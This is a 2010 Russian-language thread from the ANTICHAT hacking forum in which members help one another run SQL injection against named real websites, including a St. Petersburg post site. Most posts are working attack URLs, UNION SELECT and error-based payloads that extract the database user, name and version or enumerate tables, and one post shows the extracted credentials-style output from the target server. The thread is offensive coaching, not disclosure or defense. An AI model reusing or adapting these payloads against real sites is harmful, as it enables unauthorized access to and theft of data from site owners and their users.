ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
 |
|
10.03.2010, 21:19
|
|
Новичок
Регистрация: 03.03.2010
Сообщений: 9
Провел на форуме:
29833
Репутация:
0
|
|
CyberHunter, надо указать базу и таблицу откуда хотите вывести данные.
|
|
|
10.03.2010, 21:22
|
|
Постоянный
Регистрация: 06.01.2010
Сообщений: 785
Провел на форуме:
1777031
Репутация:
256
|
|
CyberHunter, надо указать базу и таблицу откуда хотите вывести данные.
Я хочу спросить почему не выводится " USER(), DATABASE() и т.д. "?
|
|
|
|
10.03.2010, 21:29
|
|
Участник форума
Регистрация: 24.08.2009
Сообщений: 172
Провел на форуме:
1535319
Репутация:
-16
|
|
http://guideandroid.com/product.php?id=-4+union+/*!select*/+1,2,/*!table_name*/,4,5,6,7,8+from+information_schema.tables+where+/*!table_schema*/=0x6775616E64636F6D5F6761
a zacem tak polucaetsya ??
|
|
|
|
10.03.2010, 21:32
|
|
Динозавр
Регистрация: 10.01.2008
Сообщений: 2,841
Провел на форуме:
9220514
Репутация:
3338
|
|
Сообщение от CyberHunter
Подскажите, почему не отображаются данные?
Код:
http://www.spbpost.ru/index.php?page_id=69+union+select+1,2,3,4,5,6,7,8,9,concat%28user%28%29,database%28%29%29,11,12,13,14,15,16,17+limit+1,1+--+
Код:
http://www.spbpost.ru/index.php?page_id=(select+1+from+(select+count(0),concat((select+version()+from+information_schema.tables+limit+1),floor(rand(0)*2))+from+information_schema.tables+group+by+2+limit+1)a)--+
PS: хотя бы тему читали иногда
|
|
|
|
10.03.2010, 21:58
|
|
Участник форума
Регистрация: 17.09.2006
Сообщений: 248
Провел на форуме:
556476
Репутация:
66
|
|
Сообщение от CyberHunter
Я хочу спросить почему не выводится " USER(), DATABASE() и т.д. "?
http://www.spbpost.ru/index.php?page_id=-69.9%0AUNION%0AALL%0ASELECT%0A1,2,3,4,5,6,7,8,9,co ncat(0x7e,0x27,Hex(cast(database()%0Aas%0Achar)),0 x27,0x7e),11,12,13,14,15,16,17--
смотри в исходнике
<meta name="keywords" content="~'737062706F73745F6462'~">
тоесть spbpost_db
|
|
|
|
10.03.2010, 23:07
|
|
Постоянный
Регистрация: 06.01.2010
Сообщений: 785
Провел на форуме:
1777031
Репутация:
256
|
|
YuNi|[c Хотел спросить: а почему в этой инъекции данные отображаются в исходнике, а не на странице?
|
|
|
|
10.03.2010, 23:08
|
|
Постоянный
Регистрация: 16.04.2008
Сообщений: 889
Провел на форуме:
12942062
Репутация:
1550
|
|
Потому что метатеги на странице не отображаются
|
|
|
|
10.03.2010, 23:45
|
|
Познавший АНТИЧАТ
Регистрация: 24.06.2008
Сообщений: 1,996
Провел на форуме:
6075534
Репутация:
2731
|
|
YuNi|[c, а зачем его в hex переводить, да еще и cast юзать, и переносы строки (%0a) вместо обычных пробелов?
CyberHunter, юзай:
Код:
http://www.spbpost.ru/index.php?page_id=-1+UNION+SELECT+1,2,3,4,5,6,7,8,9,unhex(hex(concat_ws(0x3a,user(),database(),version()))),11,12,13,14,15,16,17
Код:
spbpost@localhost:spbpost_db:5.1.42-log
|
|
|
|
10.03.2010, 23:54
|
|
Динозавр
Регистрация: 10.01.2008
Сообщений: 2,841
Провел на форуме:
9220514
Репутация:
3338
|
|
пора бы уже начать понимать, что union и вообще подбор кол-ва колонок и выявление принтабельных уже просто неакутальны практически, прошлый век)
|
|
|
|
11.03.2010, 00:11
|
|
Постоянный
Регистрация: 16.04.2008
Сообщений: 889
Провел на форуме:
12942062
Репутация:
1550
|
|
Сообщение от Pashkela
пора бы уже начать понимать, что union и вообще подбор кол-ва колонок и выявление принтабельных уже просто неакутальны практически, прошлый век)
А что актуально, магистр?
|
|
|
|
|
|
|
|
Здесь присутствуют: 7 (пользователей: 0 , гостей: 7)
|
|
|
|
Похожие темы
Линейный вид
